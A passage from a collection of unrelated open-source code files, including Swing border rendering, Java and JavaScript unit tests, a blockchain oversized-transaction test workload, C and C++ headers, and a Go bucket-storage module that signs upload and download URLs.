enlarged view in the right-hand picture shows * that the implementation draws one more pixel than specified, * provided that <code>roundedCorders</code> is <code>true</code> * and anti-aliasing is turned on while painting. While this might * be considered a bug, the Sun reference implementation (at least * JDK 1.3.1 on Apple MacOS X 10.1.5) can be observed to fill * exactly the same pixels as shown above. The GNU Classpath * LineBorder replicates the observed behavior of the Sun * implementation. * * @param color the color for drawing the border. * @param thickness the width of the line in pixels. * @param roundedCorners <code>true</code> for rounded corners, * <code>false</code> for plain corners. * * @since 1.3 */ // For the bug mentioned in the JavaDoc, please see also the comment // in the paintBorder method below. // public LineBorder(Color color, int thickness, boolean roundedCorners) { if ((color == null) || (thickness < 0)) throw new IllegalArgumentException(); this.lineColor = color; this.thickness = thickness; this.roundedCorners = roundedCorners; } /** * Returns a black, one pixel thick, plain {@link LineBorder}. The method * may always return the same (singleton) {@link LineBorder} instance. * * @return The border. */ public static Border createBlackLineBorder() { /* Swing is not designed to be thread-safe, so there is no * need to synchronize the access to the global variable. */ if (blackLineBorder == null) blackLineBorder = new LineBorder(Color.black); return blackLineBorder; } /** * Returns a gray, one pixel thick, plain {@link LineBorder}. The method * may always return the same (singleton) {@link LineBorder} instance. * * @return The border. */ public static Border createGrayLineBorder() { /* Swing is not designed to be thread-safe, so there is no * need to synchronize the access to the global variable. */ if (grayLineBorder == null) grayLineBorder = new LineBorder(Color.gray); return grayLineBorder; } /** * Paints the line border around a given Component. * * @param c the component whose border is to be painted. * @param g the graphics for painting. * @param x the horizontal position for painting the border. * @param y the vertical position for painting the border. * @param width the width of the available area for painting the border. * @param height the height of the available area for painting the border. */ public void paintBorder(Component c, Graphics g, int x, int y, int width, int height) { Color oldColor = g.getColor(); try { g.setColor(lineColor); // If width and height were not adjusted, the border would // appear one pixel too large in both directions. width -= 1; height -= 1; // Blurred, too large appearance // ----------------------------- // While Java 2D has introduced line strokes of arbitrary width, // it seems desirable to keep this code independent of Java 2D. // Therefore, multiple nested rectangles (or rounded rectangles) // are drawn in order to simulate a line whose thickness is // greater than one pixel. // // This hack causes a blurred appearance when anti-aliasing is // on. Interestingly enough, though, the Sun JDK 1.3.1 (at least // on MacOS X 10.1.5) shows exactly the same appearance under // this condition. It thus seems likely that Sun does the same // hack for simulating thick lines. For this reason, the // blurred appearance seems acceptable -- especially since GNU // Classpath tries to be compatible with the Sun reference // implementation. for (int i = 0; i < thickness; i++) { if (roundedCorners) g.drawRoundRect(x, y, width, height, thickness, thickness); else g.drawRect(x, y, width, height); x += 1; y += 1; width -= 2; height -= 2; } } finally { g.setColor(oldColor); } } /** * Measures the width of this border. * * @param c the component whose border is to be measured. * * @return an Insets object whose <code>left</code>, <code>right</code>, * <code>top</code> and <code>bottom</code> fields indicate the * width of the border at the respective edge, which is the * thickness of the line. * * @see #getBorderInsets(java.awt.Component, java.awt.Insets) */ public Insets getBorderInsets(Component c) { return new Insets(thickness, thickness, thickness, thickness); } /** * Measures the width of this border, storing the results into a * pre-existing Insets object. * * @param insets an Insets object for holding the result values. * After invoking this method, the <code>left</code>, * <code>right</code>, <code>top</code> and * <code>bottom</code> fields indicate the width of the * border at the respective edge, which is the thickness * of the line. * * @return the same object that was passed for <code>insets</code>. * * @see #getBorderInsets(Component) */ public Insets getBorderInsets(Component c, Insets insets) { insets.left = insets.right = insets.top = insets.bottom = thickness; return insets; } /** * Returns the color of the line. * * @return The line color (never <code>null</code>). */ public Color getLineColor() { return lineColor; } /** * Returns the thickness of the line in pixels. * * @return The line thickness (in pixels). */ public int getThickness() { return thickness; } /** * Returns whether this LineBorder os drawm with rounded * or with plain corners. * * @return <code>true</code> if the corners are rounded, * <code>false</code> if the corners are plain. */ public boolean getRoundedCorners() { return roundedCorners; } /** * Determines whether this border fills every pixel in its area * when painting. * * @return <code>true</code> if the corners are plain and the line * color is fully opaque; <code>false</code> if the corners * are rounded or the line color is partially transparent. */ public boolean isBorderOpaque() { return (!roundedCorners) && (lineColor.getAlpha() == 255); } }
IgorAntov/job4j
chapter_006/src/test/java/ru/job4j/wait/SimpleBlockingQueueTest.java
<filename>chapter_006/src/test/java/ru/job4j/wait/SimpleBlockingQueueTest.java package ru.job4j.wait; import org.junit.Test; /** * Test. * * @author <NAME> * @version $Id$ * @since 0.1 */ public class SimpleBlockingQueueTest { @Test public void simpleBlockingQueueTest() throws InterruptedException { SimpleBlockingQueue<Integer> simpleBlockingQueue = new SimpleBlockingQueue<>(2); Producer<Integer> producer1 = new Producer(simpleBlockingQueue, 1); Producer<Integer> producer2 = new Producer(simpleBlockingQueue, 2); Producer<Integer> producer3 = new Producer(simpleBlockingQueue, 3); Producer<Integer> producer4 = new Producer(simpleBlockingQueue, 4); Consumer<Integer> consumer = new Consumer(simpleBlockingQueue); consumer.start(); producer1.start(); producer2.start(); producer3.start(); producer4.start(); consumer.sleep(5000); consumer.interrupt(); } }
zhiiker/oasis-core
go/oasis-node/cmd/debug/txsource/workload/oversized.go
package workload import ( "context" "fmt" "math/rand" "time" "google.golang.org/grpc" "github.com/oasisprotocol/oasis-core/go/common/crypto/signature" memorySigner "github.com/oasisprotocol/oasis-core/go/common/crypto/signature/signers/memory" consensus "github.com/oasisprotocol/oasis-core/go/consensus/api" "github.com/oasisprotocol/oasis-core/go/consensus/api/transaction" consensusGenesis "github.com/oasisprotocol/oasis-core/go/consensus/genesis" staking "github.com/oasisprotocol/oasis-core/go/staking/api" ) // NameOversized is the name of the oversized workload. const NameOversized = "oversized" // Oversized is the oversized workload. var Oversized = &oversized{ BaseWorkload: NewBaseWorkload(NameOversized), } const ( oversizedTxGasAmount = 10000 ) type oversized struct { BaseWorkload } // Implements Workload. func (*oversized) NeedsFunds() bool { return true } // Implements Workload. func (o *oversized) Run( gracefulExit context.Context, rng *rand.Rand, conn *grpc.ClientConn, cnsc consensus.ClientBackend, sm consensus.SubmissionManager, fundingAccount signature.Signer, validatorEntities []signature.Signer, ) error { // Initialize base workload. o.BaseWorkload.Init(cnsc, sm, fundingAccount) txSignerFactory := memorySigner.NewFactory() txSigner, err := txSignerFactory.Generate(signature.SignerEntity, rng) if err != nil { return fmt.Errorf("failed to generate signer key: %w", err) } txSignerAddr := staking.NewAddress(txSigner.Public()) ctx := context.Background() params, err := cnsc.GetParameters(ctx, consensus.HeightLatest) if err != nil { return fmt.Errorf("failed to query consensus parameters: %w", err) } gasPrice, err := sm.PriceDiscovery().GasPrice(ctx) if err != nil { return fmt.Errorf("failed to get gas price: %w", err) } var nonce uint64 fee := transaction.Fee{ Gas: oversizedTxGasAmount + transaction.Gas(params.Parameters.MaxTxSize)* params.Parameters.GasCosts[consensusGenesis.GasOpTxByte], } _ = fee.Amount.FromInt64(oversizedTxGasAmount) _ = fee.Amount.Mul(gasPrice) for { // Generate a big transfer transaction which is valid, but oversized. type customTransfer struct { To staking.Address `json:"to"` Data []byte `json:"data"` } xfer := customTransfer{ // Send zero stake to self, so the transaction will be valid. To: txSignerAddr, // Include some extra random data so we are over the MaxTxSize limit. Data: make([]byte, params.Parameters.MaxTxSize), } if _, err = rng.Read(xfer.Data); err != nil { return fmt.Errorf("failed to generate bogus transaction: %w", err) } if err = o.TransferFundsQty( ctx, fundingAccount, txSignerAddr, &fee.Amount, ); err != nil { return fmt.Errorf("workload/oversized: account funding failure: %w", err) } tx := transaction.NewTransaction(nonce, &fee, staking.MethodTransfer, &xfer) signedTx, err := transaction.Sign(txSigner, tx) if err != nil { return fmt.Errorf("transaction.Sign: %w", err) } o.Logger.Debug("submitting oversized transaction", "payload_size", len(xfer.Data), ) // Wait for a maximum of 5 seconds. submitCtx, cancel := context.WithTimeout(ctx, 5*time.Second) err = cnsc.SubmitTx(submitCtx, signedTx) cancel() switch err { case nil: // This should never happen. return fmt.Errorf("successfully submitted an oversized transaction") case consensus.ErrOversizedTx: // Submitting an oversized transaction is an error, so we expect this to fail. o.Logger.Info("transaction rejected due to ErrOversizedTx") default: return fmt.Errorf("failed to submit oversized transaction: %w", err) } select { case <-time.After(1 * time.Second): case <-gracefulExit.Done(): o.Logger.Debug("time's up") return nil } } }
lukewagner/wasmint
libwasmint/interpreter/at/thread/InstructionState.h
/* * Copyright 2015 WebAssembly Community Group * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef WASMINT_INSTRUCTIONSTATE_H #define WASMINT_INSTRUCTIONSTATE_H #include <vector> #include <Variable.h> #include <interpreter/at/thread/StepResult.h> #include <stdexcept> #include <ExceptionWithMessage.h> #include <serialization/ByteInputStream.h> #include <interpreter/at/InstructionExecutor.h> #include <serialization/ByteOutputStream.h> namespace wasm_module { class Instruction; } namespace wasmint { ExceptionMessage(IncompatibleChildReturnType) ExceptionMessage(StateHasNoBranchValue) class InterpreterThread; class MachineState; class InstructionState { uint32_t state_ = 0; bool finished_ = false; bool unhandledSignal_ = false; std::vector<wasm_module::Variable> results_; const wasm_module::Instruction* instruction_ = nullptr; wasm_module::Variable branchValue_; bool hasBranchValue_ = false; InterpreterThread * thread_ = nullptr; void finishSignal(StepResult result); public: InstructionState() { } InstructionState(InterpreterThread & thread_, const wasm_module::Instruction& instruction); virtual ~InstructionState(); void step(); bool finished() const { return finished_; } const wasm_module::Instruction& instruction() { return *instruction_; } bool unhandledSignal() const { return unhandledSignal_; } uint32_t state() const { return state_; } std::vector<wasm_module::Variable> &results() { return results_; } void state(uint32_t newState) { state_ = newState; } void clearResults() { results_.clear(); } void setThread(InterpreterThread & newThread) { thread_ = &newThread; } const wasm_module::Variable& branchValue() const { if (!hasBranchValue_) throw StateHasNoBranchValue("branchValue() was called on InstructionState instance without a branchValue"); return branchValue_; } void branchValue(const wasm_module::Variable& newValue) { branchValue_ = newValue; hasBranchValue_ = true; } bool hasBranchValue() const { return hasBranchValue_; } virtual void serialize(ByteOutputStream& stream) const; void setState(ByteInputStream& stream, MachineState& state); }; } #endif //WASMINT_INSTRUCTIONSTATE_H
Sachin-Rungta/lodash
test/sum-methods.js
<reponame>Sachin-Rungta/lodash import assert from 'assert'; import lodashStable from 'lodash'; import { _, empties, stubZero } from './utils.js'; describe('sum methods', function() { lodashStable.each(['sum', 'sumBy'], function(methodName) { var array = [6, 4, 2], func = _[methodName]; it('`_.' + methodName + '` should return the sum of an array of numbers', function() { assert.strictEqual(func(array), 12); }); it('`_.' + methodName + '` should return `0` when passing empty `array` values', function() { var expected = lodashStable.map(empties, stubZero); var actual = lodashStable.map(empties, function(value) { return func(value); }); assert.deepStrictEqual(actual, expected); }); it('`_.' + methodName + '` should skip `undefined` values', function() { assert.strictEqual(func([1, undefined]), 1); }); it('`_.' + methodName + '` should not skip `NaN` values', function() { assert.deepStrictEqual(func([1, NaN]), NaN); }); it('`_.' + methodName + '` should not coerce values to numbers', function() { assert.strictEqual(func(['1', '2']), '12'); }); }); });
berkhess/bioexcel-exascale-co-design-benchmarks
GROMACS/nonbonded_benchmark/gromacs_source_code/src/gromacs/fileio/writeps.h
<reponame>berkhess/bioexcel-exascale-co-design-benchmarks<filename>GROMACS/nonbonded_benchmark/gromacs_source_code/src/gromacs/fileio/writeps.h /* * This file is part of the GROMACS molecular simulation package. * * Copyright (c) 1991-2000, University of Groningen, The Netherlands. * Copyright (c) 2001-2004, The GROMACS development team. * Copyright (c) 2010,2014,2015, by the GROMACS development team, led by * <NAME>, <NAME>, <NAME>, and <NAME>, * and including many others, as listed in the AUTHORS file in the * top-level source directory and at http://www.gromacs.org. * * GROMACS is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public License * as published by the Free Software Foundation; either version 2.1 * of the License, or (at your option) any later version. * * GROMACS is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with GROMACS; if not, see * http://www.gnu.org/licenses, or write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. * * If you want to redistribute modifications to GROMACS, please * consider that scientific software is very special. Version * control is crucial - bugs must be traceable. We will be happy to * consider code for inclusion in the official distribution, but * derived work must not be called official GROMACS. Details are found * in the README & COPYING files - if they are missing, get the * official version at http://www.gromacs.org. * * To help us fund GROMACS development, we humbly ask that you cite * the research papers on the package. Check out http://www.gromacs.org. */ #ifndef GMX_FILEIO_WRITEPS_H #define GMX_FILEIO_WRITEPS_H #include <stdio.h> #include "gromacs/fileio/rgb.h" #include "gromacs/utility/basedefinitions.h" #include "gromacs/utility/real.h" /* TODO: These two enums are used also in xutil.h in src/programs/view/. * The Y position enum doesn't seem to be actually used in this header... */ typedef enum { eXCenter, eXLeft, eXRight } eXPos; typedef enum { eYCenter, eYTop, eYBottom } eYPos; enum { efontTIMES, efontTIMESITALIC, efontTIMESBOLD, efontTIMESBOLDITALIC, efontHELV, efontHELVITALIC, efontHELVBOLD, efontHELVBOLDITALIC, efontCOUR, efontCOURITALIC, efontCOURBOLD, efontCOURBOLDITALIC, efontNR }; typedef struct t_int_psdata *t_psdata; /* Only use t_psdata - it is a pointer to an abstract datatype * that maintains the state of the postscript currently written. */ extern const char *fontnm[efontNR]; t_psdata ps_open(const char *fn, real x1, real y1, real x2, real y2); void ps_linewidth(t_psdata ps, int lw); void ps_color(t_psdata ps, real r, real g, real b); void ps_rgb(t_psdata ps, t_rgb *rgb); void ps_rgb_box(t_psdata ps, t_rgb *rgb); void ps_rgb_nbox(t_psdata ps, t_rgb *rgb, real n); void ps_init_rgb_box(t_psdata ps, real xbox, real ybox); void ps_init_rgb_nbox(t_psdata ps, real xbox, real ybox); void ps_lineto(t_psdata ps, real x, real y); void ps_linerel(t_psdata ps, real dx, real dy); void ps_moveto(t_psdata ps, real x, real y); void ps_moverel(t_psdata ps, real dx, real dy); void ps_line(t_psdata ps, real x1, real y1, real x2, real y2); void ps_box(t_psdata ps, real x1, real y1, real x2, real y2); void ps_fillbox(t_psdata ps, real x1, real y1, real x2, real y2); void ps_arc(t_psdata ps, real x1, real y1, real rad, real a0, real a1); void ps_fillarc(t_psdata ps, real x1, real y1, real rad, real a0, real a1); void ps_arcslice(t_psdata ps, real xc, real yc, real rad1, real rad2, real a0, real a1); void ps_fillarcslice(t_psdata ps, real xc, real yc, real rad1, real rad2, real a0, real a1); void ps_circle(t_psdata ps, real x1, real y1, real rad); void ps_font(t_psdata ps, int font, real size); void ps_strfont(t_psdata ps, char *font, real size); void ps_text(t_psdata ps, real x1, real y1, const char *str); void ps_ctext(t_psdata ps, real x1, real y1, const char *str, int expos); void ps_close(t_psdata ps); void ps_flip(t_psdata ps, gmx_bool bPlus); /* Rotate over 90 (bPlus) or -90 (!bPlus) degrees */ void ps_rotate(t_psdata ps, real angle); void ps_translate(t_psdata ps, real x, real y); void ps_setorigin(t_psdata ps); void ps_unsetorigin(t_psdata ps); void ps_comment(t_psdata ps, const char *s); #endif
TheFleksisCekcu/LiquidBounce-b62-deobfed
1.8.9-Forge/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/render/MixinEffectRenderer.java
package net.ccbluex.liquidbounce.injection.forge.mixins.render; import org.spongepowered.asm.mixin.Overwrite; import java.util.Iterator; import java.util.ConcurrentModificationException; import org.spongepowered.asm.mixin.Shadow; import net.minecraft.client.particle.EntityParticleEmitter; import java.util.List; import net.minecraft.client.particle.EffectRenderer; import org.spongepowered.asm.mixin.Mixin; import net.minecraftforge.fml.relauncher.Side; import net.minecraftforge.fml.relauncher.SideOnly; @SideOnly(Side.CLIENT) @Mixin({ EffectRenderer.class }) public abstract class MixinEffectRenderer { @Shadow private List<EntityParticleEmitter> particleEmitters; @Shadow protected abstract void updateEffectLayer(final int p0); @Overwrite public void updateEffects() { try { for (int i = 0; i < 4; ++i) { this.updateEffectLayer(i); } final Iterator<EntityParticleEmitter> it = this.particleEmitters.iterator(); while (it.hasNext()) { final EntityParticleEmitter entityParticleEmitter = it.next(); entityParticleEmitter.onUpdate(); if (entityParticleEmitter.isDead) { it.remove(); } } } catch (ConcurrentModificationException ex) {} } }
susburrows/uvcmetrics
src/python/packages/amwg/__init__.py
import derivations import git #from derivations import press2alt
maniacs-oss/sipio
mod/resources/agents_api.js
<filename>mod/resources/agents_api.js /** * @author <NAME> * @since v1 */ import ResourcesUtil from 'resources/utils' import { Status } from 'resources/status' import isEmpty from 'utils/obj_util' export default class AgentsAPI { constructor() { this.resourcePath = 'config/agents.yml' this.schemaPath = 'etc/schemas/agents_schema.json' this.rUtil = new ResourcesUtil() if (!this.rUtil.isResourceValid(this.schemaPath, this.resourcePath)) { throw "Invalid 'config/agents.yml' resource. Server unable to continue..." } } getAgents(filter) { return this.rUtil.getObjs(this.resourcePath, filter) } getAgent(domainUri, username) { const resource = this.rUtil.getJson(this.resourcePath) let agent resource.forEach(obj => { if (obj.spec.credentials.username == username) { obj.spec.domains.forEach(d => { if (domainUri == d) { agent = obj } }) } }) if (!isEmpty(agent)) { return { status: Status.OK, message: Status.message[Status.OK].value, obj: agent } } return { status: Status.NOT_FOUND, message: Status.message[Status.NOT_FOUND].value } } agentExist(domainUri, username) { const result = this.getAgent(domainUri, username) if (result.status == Status.OK) return true return false } createAgent() { return { status: Status.NOT_SUPPORTED, message: Status.message[Status.NOT_SUPPORTED].value } } updateAgent() { return { status: Status.NOT_SUPPORTED, message: Status.message[Status.NOT_SUPPORTED].value, } } deleteAgents() { return { status: Status.NOT_SUPPORTED, message: Status.message[Status.NOT_SUPPORTED].value, } } createFromJSONObj() { return { status: Status.NOT_SUPPORTED, message: Status.message[Status.NOT_SUPPORTED].value } } updateFromJSONObj() { return { status: Status.NOT_SUPPORTED, message: Status.message[Status.NOT_SUPPORTED].value } } }
swe-zzf/spring4-sandbox
mvc-thymeleaf/src/test/java/com/hantsylabs/example/spring/test/webdriver/WebDriverCreateTaskITests.java
package com.hantsylabs.example.spring.test.webdriver; import org.junit.After; import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.BlockJUnit4ClassRunner; import org.openqa.selenium.WebDriver; import org.openqa.selenium.htmlunit.HtmlUnitDriver; import com.gargoylesoftware.htmlunit.BrowserVersion; import com.hantsylabs.example.spring.model.Task; import com.hantsylabs.example.spring.test.Assertions; import com.hantsylabs.example.spring.test.MockDataConfig; import com.hantsylabs.example.spring.test.webdriver.pages.CreateTaskPage; import com.hantsylabs.example.spring.test.webdriver.pages.TaskListPage; @RunWith(BlockJUnit4ClassRunner.class) public class WebDriverCreateTaskITests { WebDriver driver; @Before public void setUp() throws Exception { driver = new HtmlUnitDriver(BrowserVersion.CHROME); } @After public void tearDown() throws Exception { if (driver != null) { driver.close(); } } @Test public void testCreateTasks() { CreateTaskPage createTask = CreateTaskPage.to(driver); TaskListPage taskList = createTask.newTask("first task", "description of first task"); Assertions.assertThat(taskList.getErrors()).isEqualTo("Task is created sucessfully!"); } @Test public void testCreateTaskWithEmptyFields() { CreateTaskPage createTask = CreateTaskPage.to(driver); CreateTaskPage createTaskPage = createTask.newTaskWithEmptyFields(); Assertions.assertThat(createTaskPage.getTitleError()).isEqualTo("may not be empty"); Assertions.assertThat(createTaskPage.getDescriptionError()).isEqualTo("size must be between 10 and 200"); } }
thomass171/tcp-22
engine/src/main/java/de/yard/threed/engine/platform/EngineHelper.java
package de.yard.threed.engine.platform; import de.yard.threed.core.*; import de.yard.threed.core.resource.BundleResource; import de.yard.threed.core.resource.ResourcePath; import de.yard.threed.core.platform.*; import de.yard.threed.engine.*; import de.yard.threed.engine.platform.common.*; /** * Interface/Adapter to a Game/Grafik Engine. EG. JME, ThreeJS, Unity,... * <p> * 14.3.17: Jetzt kommt das Bauen von Primitives (z.B. buildCubeGeometry()) doch ganz raus. Es hat eigene Primitives. * <p> * Created by thomass on 20.04.15. */ public /*abstract*/ class EngineHelper /*extends Platform*/ { //MA36 public NativeSceneRunner runner; // die root node der ganzen Scene. Zeichnet sich dadurch aus, als einizige keinen parent zu haben. // Auch für Spiegelung in Unity // obwohl es ja auch mehrere Trees geben koennte? // sollte eigentlich private sein, aber machmal zu Tests ganz praktisch // 7.5.21: Wird für VR in den VR space verschoben. //MA36 moved to Scene private World world; // Textur, die im Fehlerfall geliefert wird. // 3.1.19: Das mit der Standardtextur ist doch eine doofe FehlerKaschierung. Das soll der Aufrufer doch pruefen und // im Zweifel ohne Material (wireframe) anlegen. //public NativeTexture defaulttexture; public static int LOADER_USEACPP = 0x01; //use GLTF instead of requested ac if available. LOADER_USEGLTF overrules LOADER_USEACPP public static int LOADER_USEGLTF = 0x02; // ThreeJS eg. has its own GLTF Loader. This can be used instead of the out own. public static int LOADER_USEPLATFORMNATIVEGLTF = 0x04; public static int LOADER_APPLYACPOLICY = 0x08; static Statistics statistics = new Statistics(); // TextureMagFilter from gl3.h public static final int GL_NEAREST = 0x2600; public static final int GL_LINEAR = 0x2601; // extureMinFilter from gl3.h public static final int GL_NEAREST_MIPMAP_NEAREST = 0x2700; public static final int GL_LINEAR_MIPMAP_NEAREST = 0x2701; public static final int GL_NEAREST_MIPMAP_LINEAR = 0x2702; //GL_LINEAR_MIPMAP_LINEAR = TriLinear? public static final int GL_LINEAR_MIPMAP_LINEAR = 0x2703; public static final int TRILINEAR = GL_LINEAR_MIPMAP_LINEAR; /** * MA36: Only convenience? Made static */ public static void buildNativeModel(BundleResource filename, ResourcePath opttexturepath, ModelBuildDelegate modeldelegate, int options) { // die ACPolicy nutze ich wegen Einheitlichkeit immer, nicht nur in FG // 10.4.21: Brauchts die Option noch? Es gibt doch ein Plugin if (filename.getExtension().equals("ac")) { options |= LOADER_APPLYACPOLICY; } // Das Filemapping greift nur, wenn das acpp/gltf auch existiert. Platform.getInstance().buildNativeModelPlain(ModelLoader.mapFilename(filename, true, options), opttexturepath, modeldelegate, options); } /** * MA36: Only convenience? Made static */ public static void buildNativeModel(BundleResource filename, ResourcePath opttexturepath, ModelBuildDelegate modeldelegate) { buildNativeModel(filename, opttexturepath, modeldelegate, 0); } /** * MA36: Only convenience? Made static */ public static NativeMaterial buildMaterial(MaterialDefinition def, Effect effect) { return Platform.getInstance().buildMaterial(def.name, def.color, def.texture, def.parameters, null); } /*public abstract void executeAsyncJobNurFuerRunnerhelper(AsyncJob job/*, NativeContentProvider contentprovider, int page* /);*/ /*MA36 jetzt in runnerpublic void addAsyncJob(final AsyncJob job) { addAsyncJob(job, 0); } public void addAsyncJob(final AsyncJob job, int delaymillis) { AbstractSceneRunner.getInstance().addNewJob(job, delaymillis); }*/ public Dimension getDimension() { return AbstractSceneRunner.getInstance().dimension; } public static Statistics getStatistics() { return statistics; } public static void addAsyncJob(final AsyncJob job) { addAsyncJob(job, 0); } public static void addAsyncJob(final AsyncJob job, int delaymillis) { AbstractSceneRunner.getInstance().addNewJob(job, delaymillis); } /** * MA36: Only convenience? For statistics. Statistics also static. */ public static NativeGeometry buildGeometry(Vector3Array vertices, int[] indices, Vector2Array uvs, Vector3Array normals) { statistics.vertices += vertices.size(); statistics.geometries++; if (normals != null) { statistics.normals += normals.size(); } statistics.indices += indices.length; if (uvs != null) { statistics.uvs += uvs.size(); } return Platform.getInstance().buildNativeGeometry(vertices, indices, uvs, normals); } /** * Only useful for checking set to true. Returns false if property doesn't exist. * * @param property * @return */ public static Boolean getBooleanSystemProperty(String property) { String arg = Platform.getInstance().getSystemProperty(property); if (arg == null) { return null; } if (Util.isTrue(arg)) { return true; } return false; } public static boolean isEnabled(String property) { Boolean b; if ((b = EngineHelper.getBooleanSystemProperty(property)) != null && (boolean) b) { return true; } return false; } public static Double getDoubleSystemProperty(String property) { String arg = Platform.getInstance().getSystemProperty(property); if (arg == null) { return null; } if (StringUtils.empty(arg)) { return null; } return new Double(Util.parseDouble(arg)); } /** * Ein Laden anstossen und ueber Callback weitermachen. * * @return */ /*11.10.18 gibt doch bundle public void loadResource(final NativeResource resource, ResourceLoadingListener loadlistener, boolean binary) { Platform.getInstance().getRessourceManager().loadRessource(resource, loadlistener,binary); }*/ /** * 07.06.16: Eine Ressource synchron speichern. * 16.10.18: das ist konzeptionell doch ueberholt. * @return */ /*22.12.16 public void saveResourceSync(final NativeResource resource, byte[] data) throws ResourceSaveException { Platform.getInstance().getRessourceManager().saveResourceSync(resource, data); }*/ /*public NativeOutputStream saveResourceSync(final NativeResource resource) throws ResourceSaveException { return Platform.getInstance().getRessourceManager().saveResourceSync(resource); }*/ /** * Ein Laden erfolgt hier nicht. * Liefert null, wenn es keine gecachte Ressource mit diesem Namen gibt. * * Aufruf von getCachedResource erhaeltlich. Oder auch nicht. * @param name * @return */ /*24.12.15 public CachedResource getCachedResource(final String name) { return new CachedResource(cachedresource.get(name)); }*/ /*MA36 public World getWorld() { return world; }*/ /*MA36 public void setWorld(World world){ this.world = world; }*/ /*public abstract byte[] serialize(Object obj); public abstract Object deserialize(byte[] obj);*/ /** * One time init opportunity. * 25.4.20 * @param nativeEventBus */ /*MA36 public void setEventBus(NativeEventBus nativeEventBus) { if (eventBus != null) { throw new RuntimeException("event bus already exists"); } eventBus = nativeEventBus; }*/ /** * One time init opportunity. * 25.4.20 */ /*MA36 public void setLogFactory(NativeLogFactory nativeLogFactory) { if (logfactory != null) { throw new RuntimeException("logfactory already exists"); } logfactory = nativeLogFactory; }*/ /** * deprecated? * @param baseUrl * @return */ /*MA36 public NativeWebClient getWebClient(String baseUrl) { return null; }*/ }
Graphofthings/CQELS-LGPL
src/main/java/org/deri/cqels/engine/iterator/MappingIter2.java
package org.deri.cqels.engine.iterator; import org.deri.cqels.engine.ExecContext; public abstract class MappingIter2 extends MappingIter { private MappingIterator left,right; public MappingIter2(MappingIterator left, MappingIterator right, ExecContext context){ super(context); this.left = left; this.right = right; } protected MappingIterator getLeft() { return left; }; protected MappingIterator getRight(){ return right; }; @Override protected final void closeIterator() { closeSubIterator(); performClose(left); performClose(right); left = null; right = null; } @Override protected final void requestCancel() { performRequestCancel(left); performRequestCancel(right); } /** Cancellation of the query execution is happening */ protected abstract void requestSubCancel(); /** Pass on the close method - no need to close the left or right QueryIterators passed to the QueryIter1 constructor */ protected abstract void closeSubIterator(); }
herbrhythm/herbbuckets
src/modules/systems/buckets/engines/localbucket/localbucket.go
package localbucket import ( "fmt" "herbbuckets/modules/app" "herbbuckets/modules/bucket" bucketsmiddlewares "herbbuckets/modules/systems/buckets/middlewares" "io" "net/http" "net/url" "os" "path/filepath" "strconv" "time" "github.com/herb-go/herb/file/simplehttpserver" "github.com/herb-go/herb/middleware/cors" "github.com/herb-go/herb/middleware/router/httprouter" "github.com/herb-go/herbsecurity/secret" "github.com/herb-go/herbsecurity/secret/hasher" "github.com/herb-go/herbsecurity/secret/hasher/urlencodesign" "github.com/herb-go/util" ) const BucketType = "local" const ExtentionsSeparator = "," type Config struct { Public bool Location string } func (c *Config) ApplyTo(bu *bucket.Bucket, b *LocalBucket) error { b.Public = c.Public b.Cors = bu.Cors b.Location = c.Location if b.Location == "" { b.Location = util.AppData(bucket.BucketsFolder, bu.Name) } if bu.BaseURL == nil { return fmt.Errorf("bucket [%s] BaseURL format error", bu.Name) } return nil } type LocalBucket struct { Public bool Location string Cors *cors.CORS } func (b *LocalBucket) localpath(object string) string { return filepath.Join(b.Location, object) } func (b *LocalBucket) newDownloadInfo() *bucket.DownloadInfo { info := bucket.NewDownloadInfo() return info } func (b *LocalBucket) GrantDownloadInfo(bu *bucket.Bucket, object string, opt *bucket.Options) (info *bucket.DownloadInfo, err error) { info = b.newDownloadInfo() if b.Public { info.Permanent = true info.URL = bu.Join(bucket.PrefixDownload, bu.Name, object).String() return info, nil } u := bu.Join(bucket.PrefixDownload, bu.Name, object) p := urlencodesign.NewParams() p.Append(app.Sign.PathField, u.Path) p.Append(app.Sign.AppidField, opt.Appid) expired := time.Now().Add(opt.Lifetime).Unix() ts := strconv.FormatInt(expired, 10) p.Append(app.Sign.TimestampField, ts) s, err := urlencodesign.Sign(hasher.Sha256Hasher, secret.Secret(opt.Secret), app.Sign.SecretField, p, true) if err != nil { return nil, err } q := &url.Values{} q.Add(app.Sign.AppidField, opt.Appid) q.Add(app.Sign.TimestampField, ts) q.Add(app.Sign.SignField, s) info.URL = bu.Join(bucket.PrefixDownload, bu.Name, object).String() + "?" + q.Encode() info.Permanent = false info.ExpiredAt = expired return info, nil } func (b *LocalBucket) Permanent() bool { return b.Public } func (b *LocalBucket) newWebuploadInfo() *bucket.WebuploadInfo { info := bucket.NewWebuploadInfo() info.SuccessCodeMin = 200 info.SuccessCodeMax = 299 info.UploadType = bucket.UploadTypePost return info } func (b *LocalBucket) GrantUploadInfo(bu *bucket.Bucket, id string, object string, opt *bucket.Options) (info *bucket.WebuploadInfo, err error) { expired := time.Now().Add(bu.Offset).Unix() ts := strconv.FormatInt(expired, 10) sizelimit := strconv.FormatInt(opt.SizeLimit, 10) p := urlencodesign.NewParams() u := bu.Join(bucket.PrefixUpload, bu.Name, object) p.Append(app.Sign.AppidField, opt.Appid) p.Append(app.Sign.TimestampField, ts) p.Append(app.Sign.PathField, u.Path) p.Append(app.Sign.ObjectField, object) p.Append(app.Sign.SizeLimitField, sizelimit) s, err := urlencodesign.Sign(hasher.Sha256Hasher, secret.Secret(opt.Secret), app.Sign.SecretField, p, true) if err != nil { return nil, err } q := &url.Values{} q.Add(app.Sign.AppidField, opt.Appid) q.Add(app.Sign.SignField, s) q.Add(app.Sign.TimestampField, ts) q.Add(app.Sign.SizeLimitField, sizelimit) info = b.newWebuploadInfo() info.UploadURL = 